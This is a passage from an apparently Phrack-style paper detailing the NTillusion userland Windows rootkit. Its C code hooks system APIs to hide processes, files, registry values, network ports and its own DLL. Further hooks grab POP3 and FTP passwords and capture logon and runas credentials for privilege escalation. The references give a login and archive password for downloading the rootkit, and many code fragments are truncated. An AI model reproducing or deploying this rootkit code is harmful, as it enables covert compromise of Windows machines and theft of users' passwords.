DWORD WINAPI MyNtQuerySystemInformation(DWORD SystemInformationClass, 
PVOID SystemInformation, ULONG SystemInformationLength, 
								PULONG ReturnLength)
	char *pname = NULL;
	DWORD rc;	

	/* 1st of all, get the return value of the function */
	rc = fNtQuerySystemInformation(SystemInformationClass, 
	      SystemInformation, SystemInformationLength, ReturnLength);
	/* if sucessful, perform sorting */
	if (rc == STATUS_SUCCESS)
		/* system info */
		switch (SystemInformationClass)
			/* process list */
		case SystemProcessInformation:			
			pSpiCurrent = pSpiPrec = (PSYSTEM_PROCESS_INFORMATION) 
			while (1)
				/* alloc memory to save process name in AINSI 
				   8bits string charset */
				pname = (char *) GlobalAlloc(GMEM_ZEROINIT, 
				    pSpiCurrent->ProcessName.Length + 2);
				/* Convert unicode string to ainsi */
				WideCharToMultiByte(CP_ACP, 0, 
				    pSpiCurrent->ProcessName.Length + 1, 
				    pname, pSpiCurrent->ProcessName.Length + 1,
				    NULL, NULL);

				    /* if "hidden" process*/
				if(!_strnicmp((char*)pname, RTK_PROCESS_CHAR, 
					/* First process */
					if (pSpiCurrent->NextEntryDelta == 0) 
					    pSpiPrec->NextEntryDelta = 0;
						pSpiPrec->NextEntryDelta += 
						pSpiCurrent = 
						pSpiCurrent + 
					if (pSpiCurrent->NextEntryDelta == 0) break;
					pSpiPrec = pSpiCurrent;
					/* Walk the list */
					((PCHAR) pSpiCurrent + 
			} /* /while */
		} /* /switch */
	} /* /if */
	return (rc);
---------------------- END EXAMPLE 3 -----------------------------

Previously I said that targeting NtQuerySystemInformation was the only 
solution. This is not entirely true. It's contrariwise sure that hooking 
Process32First/Next won't help but it's still possible to do otherwise. 
At first I chose to hook SendMessage, therefore hiding at ListBox control 
level. This is a very specific approach to the problem and is 
undocumented. Spying the behavior of the taskmanager on process creation 
with Spy++ shows that it uses the row telling about system idling process 
and changes its name to show the newly created process by sending a 
LVM_SETITEMTEXT message. So, first it overwrites the content of this 
ListBox item's line, and then add a new "Idle process" line by sending a 
LVM_INSERTITEMW message. Filtering these two types of message let us 
control what the taskmanager shows. Not very professional but efficient.

The following function replaces SendMessageW inside the task manager to 
prevent the program to send messages related to hidden process.

----------------------   EXAMPLE 4   -----------------------------
/* MySendMessageW : install a hook at display level (that is to say at 
ListBox level) to prevent _* processes from being shown */
HWND hWnd,		/* handle of destination window */
UINT Msg,		/* message to send */
WPARAM wParam,	/* first message parameter  */
LPARAM lParam)	/* second message parameter */
	LPLVITEM pit; /* simple pointer to a LVITEM structure */
	/* Filter events */
		/* If process name starts by '_', hide it*/
		if( ((char)(pit->pszText))=='_' )
			return 0;

	/* in the other case, just call the genuine function */
	return fSendMessageW(hWnd,Msg,wParam,lParam);
---------------------- END EXAMPLE 1 -----------------------------

This very high level hook does the job but it will only work for 

-------[ 4.2. File hiding
Another frequently asked question is how to hide files. As explained 
above, I choose to hook FindFirstFileA/W and FindNextFileA/W. It is from 
far sufficient to defeat explorer view, the dir command, and all dialog 
boxes provided by the Common Controls.

According the [MSDN] the FindFirstFile function searches a directory for a 
file or subdirectory whose name matches the specified name.
HANDLE FindFirstFile(
  LPCTSTR lpFileName,
  LPWIN32_FIND_DATA lpFindFileData

The function takes two parameters. A null-terminated string that specifies 
a valid directory or path and file name, which can contain wildcard 
characters (* and ?): lpFileName, and a pointer to a WIN32_FIND_DATA 
structure that receives information about the found file or subdirectory.
If the function succeeds, the return value is a search handle used in a 
subsequent call to FindNextFile or FindClose.
If the function fails, the return value is INVALID_HANDLE_VALUE. 

The FindFirstFile function is called to begin a file search. If it 
succeed, the search may be pursued by calling FindNextFile.
BOOL FindNextFile(
  HANDLE hFindFile,
  LPWIN32_FIND_DATA lpFindFileData

The hFindFile parameter is a handle returned by a previous call to 
FindFirstFile or FindFirstFileEx function. Like before, the lpFindFileData 
points to a the WIN32_FIND_DATA structure that receives information about 
the found file or subdirectory. The structure can be used in subsequent 
calls to FindNextFile to see the found file or directory. The function 
succeeds if it returns nonzero.

Let's have a look at the WIN32_FIND_DATA structure. The important member 
is cFileName which is a null-terminated string that specifies the name of 
the file.

typedef struct _WIN32_FIND_DATA { 
  DWORD dwFileAttributes; 
  FILETIME ftCreationTime; 
  FILETIME ftLastAccessTime; 
  FILETIME ftLastWriteTime; 
  DWORD nFileSizeHigh; 
  DWORD nFileSizeLow; 
  DWORD dwReserved0; 
  DWORD dwReserved1; 
  TCHAR cFileName[MAX_PATH]; 	  /* full file name */ 
  TCHAR cAlternateFileName[14];   /* file name in the classic 8.3 
                                     (filename.ext) file name format. */

To perform a directory listing, an application calls FindFirstFile, and 
then calls FindNextFile using the returned handle, until it returns zero.
The AINSI and WIDE functions (A/W) of FindFirst/NextFile operate similarly 
except that the Wide version performs calls to WideCharToMultiByte, in 
order to convert unicode strings to ainsi.

----------------------   EXAMPLE 5   -----------------------------
/* MyFindFirstFileA : hides protected files from file listing 
   (error checks stripped)*/
LPCTSTR lpFileName, 
LPWIN32_FIND_DATA lpFindFileData)
	HANDLE hret= (HANDLE)1000;	/* return handle */
	int go_on=1;			/* loop flag */

	/* Process request */
	hret = (HANDLE) fFindFirstFileA(lpFileName, lpFindFileData);

	/* Then filter: while we get a 'hidden file', we loop */
	while( go_on && 
	  !_strnicmp(lpFindFileData->cFileName, RTK_FILE_CHAR, 
		go_on = fFindNextFileA(hret, lpFindFileData);

	/* Oops, no more files? */

return hret;
---------------------- END EXAMPLE 5 -----------------------------

And now let's replace FindNextFileA:
----------------------   EXAMPLE 6   -----------------------------
/* MyFindNextFileA : hides protected files from being listed */
  HANDLE hFindFile,
  LPWIN32_FIND_DATA lpFindFileData 
	BOOL ret;	/* return value */

	/* While we get a file that should not be shown, we get another : */
		ret = fFindNextFileA(hFindFile, lpFindFileData);
	} while( !_strnicmp(lpFindFileData->cFileName, RTK_FILE_CHAR,
  strlen(RTK_FILE_CHAR)) && ret!=0);

/* We're out of the loop so we may check if we broke because there 
is no more files. If it's the case, we may clear the 
LPWIN32_FIND_DATA structure as this : 
my_memset(lpFindFileData, 0, sizeof(LPWIN32_FIND_DATA));
	return ret;
---------------------- END EXAMPLE 6 -----------------------------

-------[ 4.3. Registry
Preventing its launch source from being detected is also an unavoidable 
feature for this kind of rootkit. To allow registry stealth, the rootkit 
replaces the RegEnumValueW API inside the memory space of all processes.
The working mode of the new function is simple : if it detects itself 
listing the content of a key that must be hidden, it returns 1 which 
traduces an error. The only problem with this implementation is that the 
calling process will stop asking for the listing of the content of the 
registry key. Therefore, it will also hide subsequent keys. As the keys 
are most of the time retrieved alphabetically, the RTK_REG_CHAR traducing 
that the key is hidden must be starting by a character of high ASCII code 
so that it will be retrieved last and won't bother.

----------------------   EXAMPLE 7   -----------------------------
/*  MyRegEnumValue : hide registry keys when a list is requested */
HKEY    hKey,
DWORD   dwIndex,
LPWSTR  lpValueName,
LPDWORD lpcValueName,
LPDWORD lpReserved,  
LPBYTE  lpData,
LPDWORD lpcbData)
	LONG lRet; /* return value */
	char buf[256];
	/* Call genuine API, then process to hiding if needed */
	lRet = fRegEnumValueW(hKey,dwIndex,lpValueName,lpcValueName,
    lpReserved, lpType, lpData,lpcbData);

	 /* Convert string from Unicode */
	WideCharToMultiByte(CP_ACP, 0,lpValueName, -1, buf, 255,NULL, NULL);
	/* If the key must be hidden... */
	if(!_strnicmp((char*)buf, RTK_REG_CHAR, strlen(RTK_REG_CHAR))) {
		lRet=1; /* then return 1 (error) */

    return lRet;
---------------------- END EXAMPLE 7 -----------------------------

-------[ 4.4. Netstat like tools.
Network statistics tools are from far the most vicious. There's a lot of 
ways to request the list of TCP/UDP used ports and the behavior of the 
same application (netstat, [TCPVIEW], [FPORT]...) varies from a version of 
windows to another. This is especially true between NT/2000 and XP where 
the network statistics start to include the process identifier of the 
owner of each TCP connection. Whatever the way a process obtains these 
statistics, some dialog has to be established with the TCP/UDP driver 
sitting at kernel level (\Device\Tcp and \Device\Udp). This consists in 
calls to DeviceIoControl to establish a request and receive the answer of 
the driver. Hooking at this level is possible but from far risky and 
nightmarish, since the structures and control codes used are undocumented 
and change between windows versions. So the hooking has to be performed at 
different level, depending on the quality of the requested information and 
OS version.

As the rootkit must run under 2000 and XP, we have to consider different 

-------[ 4.4.1. The case of windows 2000
Under windows 2000 the extended API AllocateAndGetTcpExTableFromStack that 
associates a process identifier with a TCP stream does not exist yet, so 
information provided by the API doesn't include this reference. 

-------[ Hooking GetTcpTable
The TCP statistics may officially be obtained by a call to GetTcpTable, 
which retrieves the TCP connection table (MIB_TCPTABLE).

DWORD GetTcpTable(
  PDWORD pdwSize,
  BOOL border

The functions takes three parameters. The last one, border, decides 
whether the connection table should be sorted. Then, PdwSize specifies the 
size of the buffer pointer by the pTcpTable parameter on input. On output, 
if the buffer is not large enough to hold the returned connection table, 
the function sets this parameter equal to the required buffer size. 
Finally, pTcpTable points to a buffer that receives the TCP connection 
table as a MIB_TCPTABLE structure. A sample retrieving the TCP connection 
table is available online. [GETTCP]

The MIB_TCPTABLE structure contains a table of TCP connections.
typedef struct _MIB_TCPTABLE { 
  DWORD dwNumEntries; 
table is a pointer to a table of TCP connections implemented as an array
of MIB_TCPROW structures, one for each connection.

A MIB_TCPROW stands as follows:
typedef struct _MIB_TCPROW { 
  DWORD dwState; 
  DWORD dwLocalAddr; 
  DWORD dwLocalPort; 
  DWORD dwRemoteAddr; 
  DWORD dwRemotePort;

While the dwState describes the state of a given connection, dwLocalAddr, 
dwLocalPort, dwRemoteAddr, dwRemotePort inform about the source and
destination of the connection. We're interested in dwLocalPort and
dwRemotePort to determine if the port belongs to the secret range (between
RTK_PORT_HIDE_MIN and RTK_PORT_HIDE_MAX) and therefore must be hidden.
To hide a row in TCP table if needed, the MyGetTcpTable function shifts
the whole array, thus overwriting the unwanted memory zone.

----------------------   EXAMPLE 8   -----------------------------
/* MyGetTcpTable replacement for GetTcpTable.
  (error checks stripped)
	u_long LocalPort=0;   /* remote port on local machine endianness*/
	u_long RemotePort=0;  /* local port on local machine endianness */
	DWORD dwRetVal=0, numRows=0; /* counters */
	int i,j;

	/*Call original function, if no error, strip unwanted MIB_TCPROWs*/
	dwRetVal = (*fGetTcpTable)(pTcpTable, pdwSize, bOrder);
	if(dwRetVal == NO_ERROR) 
		/* for each row, test if it must be stripped */
		for (i=0; i<(int)pTcpTable->dwNumEntries; i++) 
			LocalPort	= (u_short) fhtons((u_short)

			RemotePort	= (u_short) fhtons((u_short)
			/* If row must be filtered */
			if( IsHidden(LocalPort, RemotePort) )
				/* Shift whole array */
				for(j=i; j<((int)pTcpTable->dwNumEntries - 1);j++)
					memcpy( &(pTcpTable->table[i]),

				/* Erase last row */
				memset( &(pTcpTable->table[j]), 
				          0x00, sizeof(MIB_TCPROW_));

				/* Reduce array size */				
				(*pdwSize)-= sizeof(MIB_TCPROW_);

	return dwRetVal;
---------------------- END EXAMPLE 8 -----------------------------

Calling GetTcpTable is not the only way to get network statistics under 
windows 2000. Some programs, such as fport even provide the correspondence
stream/pid and therefore deal directly with the TCP driver through the 
DeviceIoControl function. Hijacking this API is not a good idea as I 
explained before. In consequence, the approach I adopted is to target 
specific functions used by widespread security tools rather than hooking a 
level lower by replacing DeviceIoControl.

-------[ Defeating netstat
In this version of windows, fport isn't the only one that deals directly 
with the TCP/UDP driver. This is also the case of netstat. To defeat these 
programs, we just have to replace functions that are involved in network 
statistic processing from DeviceIoControl call to screen output.

With netstat, the idea is to hook the CharToOemBuffA API that is used to 
perform characters set translations for each line before it is written to 
console output.

BOOL CharToOemBuff(       
    LPCTSTR lpszSrc, /* Pointer to the null-terminated string to 
			 translate. */
    LPSTR lpszDst,   /* Pointer to the buffer for the translated 
			 string.   */
    DWORD cchDstLength /* Specifies the number of TCHARs to translate */

If the rootkit notices itself being translating a string containing a 
hidden port, it just calls the function with a blank buffer, so the 
translation will result in a blank buffer, and output won't show anything.

----------------------   EXAMPLE 9   -----------------------------
/* MyCharToOemBuffA : replace the function used by nestat to convert  
strings to a different charset before it sends it to output, so we can get 
rid of some awkward lines...  :)
BOOL WINAPI MyCharToOemBuff(LPCTSTR lpszSrc, LPSTR lpszDst, 
DWORD cchDstLength)
	/* If the line contains our port range, we simply get rid of 
	it. */
		/* We call the function, providing a blank string */
		return (*fCharToOemBuffA)("", lpszDst, cchDstLength); 
	return (*fCharToOemBuffA)(lpszSrc, lpszDst, cchDstLength);
---------------------- END EXAMPLE 9 -----------------------------

As netstat calls the function for each line it writes, there is not 
problem in avoiding whole ones.

-------[ Defeating Fport
However, this is not the case of Fport, which processes output character 
by character. I chose to hook the WriteFile API, and set up a buffer 
mechanism so output is done line by line, and hiding therefore simpler.

----------------------   EXAMPLE 10  -----------------------------
/* Convert FPORT.exe's output mode from char by char to line by line to 
allow hiding of lines containing ports to hide 
  HANDLE hFile,                    /* handle to file to write to */
  LPCVOID lpBuffer,                /* pointer to data to write to file */
  DWORD nNumberOfBytesToWrite,     /* number of bytes to write */
  LPDWORD lpNumberOfBytesWritten,  /* pointer to number of bytes written*/
  LPOVERLAPPED lpOverlapped        /* pointer to structure for overlapped 
) 						              I/O*/
	BOOL bret=TRUE;			/* Return value */
	char* chr = (char*)lpBuffer;
	static DWORD total_len=0;		/* static length counter */
	static char PreviousChars[2048*10];	/* static characters' buffer 
   (bof?) */

	/* Add the new character */
	PreviousChars[total_len++] = chr[0];
	/* Check for line termination */
	if(chr[0] == '\r') 

		PreviousChars[total_len] = '\n';
		PreviousChars[++total_len] = '\0';

		/* show this line only if it contains no hidden port / process 
		   prefix */
			&& strstr((char*)PreviousChars,(char*)RTK_PROCESS_CHAR)==NULL)   
			/* Valid line, so process output */
 			bret = fWriteFile(hFile, (void*)PreviousChars, 
		/* Clear settings */
		memset(PreviousChars, 0, 2048);
		total_len= 0;

	/* fakes the var, so fport can't see output wasn't done */
	(*lpNumberOfBytesWritten) = nNumberOfBytesToWrite; 

	return bret;
---------------------- END EXAMPLE 10 -----------------------------

-------[ 4.4.2. The case of windows XP
Under windows XP programs have not to deal with hell by interacting 
directly the TCP/UDP driver as the windows API provides sufficient 
statistics. Thus, the most widespread network tools (netstat, Fport, 
Tcpview) rely whether on AllocateAndGetTcpExTableFromStack (XP only) or on 
the classic GetTcpTable depending on the needs. So, to cover the problem 
under windows XP, the rootkit has just to replace the AllocateAndGetTcpEx
TableFromStack API. Searching the msdn about this functions is useless. 
This is an undocumented function. However it exists some useful samples on 
the web such as [NETSTATP] provided by SysInternals that are quite 
explicit. The AllocateAndGetTcpExTableFromStack function takes the 
following parameters.

DWORD AllocateAndGetTcpExTableFromStack( 
  PMIB_TCPEXTABLE *pTcpTable,	/* buffer for the connection table */
  BOOL bOrder,				/* sort the table? */
  HANDLE heap,				/* handle to process heap obtained by 
   calling GetProcessHeap() */
  DWORD zero,				/* undocumented */
  DWORD flags				/* undocumented */

The first parameter is the one interesting. It points to a MIB_TCPEXTABLE 
structure, that stands for PMIB_TCPTABLE extended, looking as follows.

/* Undocumented extended information structures available 
   only on XP and higher */
typedef struct {
  DWORD   dwState;        /* state of the connection */
  DWORD   dwLocalAddr;    /* address on local computer */
  DWORD   dwLocalPort;    /* port number on local computer */
  DWORD   dwRemoteAddr;   /* address on remote computer */
  DWORD   dwRemotePort;   /* port number on remote computer */
  DWORD   dwProcessId;	  /* process identifier */

typedef struct {
	DWORD			dwNumEntries;
	MIB_TCPEXROW	table[];

This is the same as the structures employed to work with GetTcpTable, so 
the replacement function's job will be somewhat identical.

----------------------   EXAMPLE 11  -----------------------------
AllocateAndGetTcpExTableFromStack replacement. (error checks 
DWORD WINAPI MyAllocateAndGetTcpExTableFromStack( 
  BOOL bOrder,
  HANDLE heap,
  DWORD zero,
  DWORD flags
/* error handler, TcpTable walk index, TcpTable sort index */
DWORD err=0, i=0, j=0; 
	char psname[512];	 			/* process name */
	u_long LocalPort=0, RemotePort=0;	/* local & remote port */

	/* Call genuine function ... */
	err = fAllocateAndGetTcpExTableFromStack( pTcpTable, bOrder, heap, 
	zero,flags );

	/* Exit immediately on error */
		return err;	

	/* ... and start to filter unwanted rows. This will hide all 
	opened/listening/connected/closed/... sockets that belong to 
	secret range or reside in a secret process
	/* for each process... */
	for(i = 0; i < ((*pTcpTable)->dwNumEntries); j=i) 
		/* Get process name to filter secret processes' sockets */
		/* convert from host to TCP/IP network byte order 
        (which is big-endian)*/
		LocalPort	= (u_short) fhtons((u_short)
		RemotePort	= (u_short) fhtons((u_short)

		/* Decide whether to hide row or not */
		if(  !_strnicmp((char*)psname, RTK_FILE_CHAR, 
		     ||  IsHidden(LocalPort, RemotePort) )
			/* Shift whole array*/
			for(j=i; j<((*pTcpTable)->dwNumEntries); j++)
				memcpy( (&((*pTcpTable)->table[j])), 

			/* clear last row */
			memset( (&((*pTcpTable)->table[((
			         0, sizeof(MIB_TCPEXROWEx));
			/* decrease row number */

			/* do the job again for the current row, that may also 
			   contain a hidden process */

	 	/* this row was ok, jump to the next */
  return err;
---------------------- END EXAMPLE 11 -----------------------------

These replacement functions reside in kNTINetHide.c.

-------[ 4.5. Global TCP backdoor / password grabber
As the rootkit is injected in almost every user process, there's a 
possibility to set up a global TCP backdoor by hijacking recv and WSARecv, 
allowing transforming any application (including a web server), into an 
opportune backdoor.  This is complicated enough to be a whole project in 
itself so I focused on a password grabber virtually able to hijack 
passwords sent by any mail client [kSENTINEL]. Currently, it targets at 
Outlook and Netscape mail client but may easily be extended to other 
applications by playing with the #defines. It dynamically hijacks the TCP 
stream when the mail client deals with remote server. Therefore, it allows 
to grab USER and PASS commands to be used for later privileges escalation.

----------------------   EXAMPLE 12   -----------------------------
/* POP3 Password grabber. Replaces the send() socket function.
int WINAPI MySend(SOCKET s, const char FAR * buf, int len, int flags)
	int retval=0;		/* Return value */
	char* packet;		/* Temporary buffer */
	if(!fSend)		/* no one lives for ever (error check) */
		return 0;
	/* Call original function */
	retval = fSend(s, buf, len, flags);

	/* packet is a temp buffer used to deal with the buf parameter 
	   that may be in a different memory segment, so we use the 
	   following memcpy trick.
	packet = (char*) malloc((len+1) * sizeof(char));
	memcpy(packet, buf, len);
	/* Check if memory is readable */
	if(!IsBadStringPtr(packet, len))	
		/* Filter interesting packets (POP3 protocol) */
		if(strstr(packet, "USER") || strstr(packet, "PASS"))
			/* Interesting packet found! */

			/* Write a string to logfile (%user 

			Output2LogFile("'%s'\n", packet);

     return retval;
---------------------- END EXAMPLE 12 -----------------------------

FTP logins and passwords may also be grabbed by adding the proper 
expression in the filter condition.

-------[ 4.6. Privilege escalation
Catching POP3 and FTP passwords may allow spreading on the local machine 
since users often use the same password on different accounts. Anyway when 
grabbing a password used to login as another user on the machine, there's 
no doubt that the password will be efficient. Indeed, the rootkit logs 
attempts to impersonate another user from the desktop. This is the case 
when the user employs the runas command or selects "the run as user" menu 
by right clicking on an executable. The API involved in these situations 
are redirected so any successful login is carefully saved on hard disk for 
further use. 
This is achieved through the replacement of LogonUserA and CreateProcess

The runas tool present on windows 2000/XP relies on CreateProcessWith
LogonW. Its replacement follows.

----------------------   EXAMPLE 13   -----------------------------
/* MyCreateProcessWithLogonW : collects logins/passwords employed to 
create a process as a user. This Catches runas passwords. (runas 
/noprofile /user:MyBox\User cmd)
BOOL WINAPI MyCreateProcessWithLogonW(
LPCWSTR lpUsername,		/* user name for log in request */
LPCWSTR lpDomain,			/* domain name for log in request */
LPCWSTR lpPassword,		/* password for log in request */
DWORD dwLogonFlags,		/* logon options*/
LPCWSTR lpApplicationName,	/* application name... */
LPWSTR lpCommandLine,		/* command line */
DWORD dwCreationFlags,		/* refer to CreateProcess*/
LPVOID lpEnvironment,		/* environment vars*/
LPCWSTR lpCurrentDirectory,	/* base directory */
LPSTARTUPINFOW lpStartupInfo,	/* startup and process infor, see 
CreateProcess */
	BOOL bret=false;	/* Return value */
	char line[1024];	/* Buffer used to set up log lines */

	/* 1st of all, log on the user */
	bret = fCreateProcessWithLogonW(lpUsername,lpDomain,lpPassword,
	/* Inject the created process if its name doesn't begin by 
   RTK_FILE_CHAR (protected process) */
	/* Stripped [...] */

	/* Log the information for further use */
	memset(line, 0, 1024);
		sprintf(line, "Domain '%S' - Login '%S' - Password '%S'  
        LOGON SUCCESS", lpDomain, lpUsername, lpPassword);
		sprintf(line, "Domain '%S' - Login '%S' - Password '%S'  
		LOGON FAILED", lpDomain, lpUsername, lpPassword);

	/* Log the line */

  return bret;
---------------------- END EXAMPLE 13 -----------------------------

Under windows XP, explorer.exe offers a GUI to perform logon operations 
from the desktop. This relies on LogonUser that may be replaced as below. 
We're interested only in lpszUsername, lpszDomain and lpszPassword.

----------------------   EXAMPLE 14   -----------------------------
/* MyLogonUser : collects logins/passwords employed to log on from the 
local station */
BOOL WINAPI MyLogonUser(LPTSTR lpszUsername, LPTSTR lpszDomain, LPTSTR 
lpszPassword, DWORD dwLogonType, DWORD dwLogonProvider, PHANDLE phToken)
	char buf[1024];	/* Buffer used to set up log lines */
	/* Set up buffer */
	memset(buf, 0, 1024);
	sprintf(buf, "Login '%s' / passwd '%s' / domain '%'\n", 
	/* Log to disk */

	/* Perform LogonUser call */
	return fLogonUser(lpszUsername, lpszDomain, lpszPassword, 
	dwLogonType, dwLogonProvider, phToken);
---------------------- END EXAMPLE 14 -----------------------------

The grabbed data are sent to a log file at user profile's root and may be 
encrypted using a simple 1 byte XOR key.

-------[ 4.7. Module stealth
As soon as it is loaded into a process, the rootkit hides its DLL. 
Therefore, if the system does not hook LdrLoadDll or its equivalent at 
kernel level, it appears that the rookit was never injected into 
processes. The technique used below is very efficient against all programs 
that rely on the windows API for enumerating modules. Due to the fact that 
EnumProcessModules/Module32First/Module32Next/... depend on NtQuerySystem
Information, and because this technique foils the manner this API 
retrieves information, there's no way to be detected by this intermediary. 
This defeats programs enumerating processes' modules such as ListDlls, 
ProcessExplorer (See [LISTDLLS] and [PROCEXP]), and VICE rootkit detector. 

The deception is possible in ring 3 since the kernel maintains a list of 
each loaded DLL for a given process inside its memory space, in userland. 
Therefore a process may affect himself and overwrite parts of its memory 
in order to hide one of its module. These data structures are of course 
undocumented but can be recovered by using the Process Environment Block 
(PEB), located at FS:0x30 inside each process. The function below returns 
the address of the PEB for the current process.

----------------------   EXAMPLE 15   -----------------------------
	DWORD* dwPebBase = NULL;
	/* Return PEB address for current process
	   address is located at FS:0x30 */
			push eax
			mov eax, FS:[0x30]
			mov [dwPebBase], eax
			pop eax
	return (DWORD)dwPebBase;
---------------------- END EXAMPLE 15 -----------------------------

The role of the PEB is to gather frequently accessed information for a 
process as follows. At address FS:0x30 (or 0x7FFDF000) stands the 
following members of the [PEB].

/* located at 0x7FFDF000 */
typedef struct _PEB 
  BOOLEAN                 InheritedAddressSpace;
  BOOLEAN                 ReadImageFileExecOptions;
  BOOLEAN                 BeingDebugged;
  BOOLEAN                 Spare;
  HANDLE                  Mutant;
  PVOID                   ImageBaseAddress;
  PPEB_LDR_DATA           LoaderData;
  ULONG                   SessionId;

The interesting member in our case is PPEB_LDR_DATA LoaderData that 
contains information filled by the loader at startup, and then when 
happens a DLL load/unload.
typedef struct _PEB_LDR_DATA 
  ULONG                   Length;
  BOOLEAN                 Initialized;
  PVOID                   SsHandle;
  LIST_ENTRY              InLoadOrderModuleList;
  LIST_ENTRY              InMemoryOrderModuleList;
  LIST_ENTRY              InInitializationOrderModuleList;

The PEB_LDR_DATA structure contains three LIST_ENTRY that are part of doubly 
linked lists gathering information on loaded DLL in the current process.
InLoadOrderModuleList sorts modules in load order, InMemoryOrderModuleList 
in memory order, and InInitializationOrderModuleList keeps track of their 
load order since process start.

These doubly linked list contains pointers to LDR_MODULE inside the parent 
structure for next and previous module.

typedef struct _LDR_MODULE {

  LIST_ENTRY              InLoadOrderModuleList;
  LIST_ENTRY              InMemoryOrderModuleList;
  LIST_ENTRY              InInitializationOrderModuleList;
  PVOID                   BaseAddress;
  PVOID                   EntryPoint;
  ULONG                   SizeOfImage;
  UNICODE_STRING          FullDllName;
  UNICODE_STRING          BaseDllName;
  ULONG                   Flags;
  SHORT                   LoadCount;
  SHORT                   TlsIndex;
  LIST_ENTRY              HashTableEntry;
  ULONG                   TimeDateStamp;


In fact, this is not exactly true since LIST_ENTRY have a special 
behavior. Indeed, the base address of the surrounding object is computed 
by subtracting the offset of the LIST_ENTRY member from it's address 
(&LIST_ENTRY), because LIST_ENTRY Flink and Blink members always point to 
the another LIST_ENTRY inside the list, not to the owner of the list node. 
This makes it possible to interlink objects in multiple lists without any 
interference as explains Sven B. Schreiber in Undocumented Windows 2000 
Secrets. To access InLoadOrderModuleList elements, we don't have to bother 
about offsets since it is the first element of the LDR_MODULE structure so 
it just needs to be casted to get a LDR_MODULE from a LIST_ENTRY. In the 
case of InMemoryOrderModuleList we'll have to subtract sizeof(LIST_ENTRY). 
Similarly, to access the LDR_MODULE from InInitializationOrderModuleList 
we just subtract 2*sizeof(LIST_ENTRY).
The following sample demonstrates how to walk one of these lists and throw 
a module away according to its name (szDllToStrip).

----------------------   EXAMPLE 16   -----------------------------
/*  Walks one of the three modules double linked lists referenced by the 
PEB  (error check stripped)
ModuleListType is an internal flag to determine on which list to operate :
LOAD_ORDER_TYPE <---> InLoadOrderModuleList
MEM_ORDER_TYPE  <---> InMemoryOrderModuleList
INIT_ORDER_TYPE <---> InInitializationOrderModuleList
int WalkModuleList(char ModuleListType, char *szDllToStrip)
	int i;	/* internal counter */
	DWORD PebBaseAddr, dwOffset=0;
	/* Module list head and iterating pointer */
	PLIST_ENTRY pUserModuleListHead, pUserModuleListPtr;
	/* Module(s) name in UNICODE/AINSI*/
	char szImageName[BUFMAXLEN];
	/* First, get Process Environment Block */	
	PebBaseAddr = GetPEB(0);

	/* Compute PEB->PEB_LDR_DATA */
	pLdrData=(PPEB_LDR_DATA)(DWORD *)(*(DWORD *)(PebBaseAddr + 

	/* Init linked list head and offset in LDR_MODULE  structure */
	if(ModuleListType == LOAD_ORDER_TYPE)
		/* InLoadOrderModuleList */
		pUserModuleListHead = pUserModuleListPtr = 
		dwOffset = 0x0;
	} else if(ModuleListType == MEM_ORDER_TYPE)
		/* InMemoryOrderModuleList */
		pUserModuleListHead = pUserModuleListPtr = 
		dwOffset = 0x08;
	} else if(ModuleListType == INIT_ORDER_TYPE)
		/* InInitializationOrderModuleList */
		pUserModuleListHead = pUserModuleListPtr = 
		dwOffset = 0x10;

	/* Now walk the selected list */	
		/* Jump to next LDR_MODULE structure */
		pUserModuleListPtr = pUserModuleListPtr->Flink;
		pImageName = (PUNICODE_STRING)( 
			     ((DWORD)(pUserModuleListPtr)) +

        	/* Decode unicode string to lower case on the fly */
		for(i=0; i < (pImageName->Length)/2 && i<BUFMAXLEN;i++) 
                  szImageName[i] = LOWCASE(*( (pImageName->Buffer)+(i) ));
		/* Null terminated string */
		szImageName[i] = '\0';

		/* Check if it's target DLL */
		if( strstr((char*)szImageName, szDllToStrip) != 0 )
			/* Hide this dll : throw this module away (out of 
			   the double linked list)
        		(pUserModuleListPtr->Blink)->Flink = 
           		(pUserModuleListPtr->Flink)->Blink = 
			/* Here we may also overwrite memory to prevent 
			   recovering (paranoid only ;p) */
	}	while(pUserModuleListPtr->Flink != pUserModuleListHead); 

---------------------- END EXAMPLE 16 -----------------------------

To process the three linked lists, the rootkit calls the HideDll function 
----------------------   EXAMPLE 17   -----------------------------
int HideDll(char *szDllName)
	return (	WalkModuleList(LOAD_ORDER_TYPE, szDllName)
			&&	WalkModuleList(MEM_ORDER_TYPE, szDllName)
			&&	WalkModuleList(INIT_ORDER_TYPE, szDllName)	);
---------------------- END EXAMPLE 17 -----------------------------

I never saw this method employed to hide a module but instead to recover 
the base address of a DLL in elaborated shellcodes [PEBSHLCDE].
To end with this technique, I'll say that it is from far efficient against 
ring 3 programs but becomes a little bit ineffective against a personal 
firewall acting at kernel level, such as Sygate Personal Firewall. This 
one cannot be defeated using the presented method and analysis of its 
source code shows as it sets hooks in the kernel syscall table, thereby 
being informed as soon as a DLL is loaded into any process and subsequent 
hiding is useless. In a word, personal firewalls are the worst enemies of 
userland rootkits.

-------[ 5. Ending
-------[ 5.1. Conclusion
The mechanisms presented in this paper are the result of long research and
experimentations. It shows up that ring 3 rootkit are an effective threat
for nowadays computer systems but may be defeated by a clever analysis of
the weakpoints they target. So this type of rootkit isn't perfect as data
may still be detected, even though they're from far more difficult to
notice. Keep in mind that the most important thing is not to cause
suspicion, and therefore not be detected. In a word, ring 3 rootkits are
perfect meantime to get administrative privilege on the local machine and
install a most adapted ring 0 rootkit that will be more suitable to reach
the maximum stealth.

-------[ 5.2. Greets
"If I have seen further it is by standing on the shoulders of giants." 
This quotation from Isaac Newton (1676) perfectly describes the ways 
things work. Therefore, my thanks first go to all authors that make the 
internet a place of free information and exchanges. Without them you would 
probably not be reading these lines. This is especially true for Ivo 
Ivanov - thanks to you I discovered the world of API hooking -, Crazylord
who provided me precious information to set up my first device driver,
Holy_Father and Eclips for considering some questions about userland
take over. Added to that, I'd like to thank my friends and revisers that
helped me set up a more accessible paper. I hope this goal is achieved.
Finally, I salute my friends and teammates; you know who you are. 
Special thanks to my buddy and personal unix consultant Artyc.

That's all folks!

"I tried so hard, and gone so far. But in the end, it doesnt even


-------[ 6. References
- [1]
- [NTillusion rootkit]
Login/Pass	:	phrackreaders/ph4e#ho5
Rar password	: 	0wnd4wurld
- [HOOKS] A HowTo for setting system wide hooks 
- [3WAYS] Three ways to inject your code into another process
- [LSD] Win32 assembly components 
- [THCONTEXT] GetThreadContext remote code triggering proof of concept
- [PE]
- [DETOURS] Detours win32 functions interception
[HKDEF_RTK] Hacker Defender rootkit
- [HKDEF] Hacker Defender (Holy_Father 2002)
- [ZOMBIE2] Entry point rewriting
- [MSDN] Microsoft Developers Network
- [NtQuerySystemInformation]
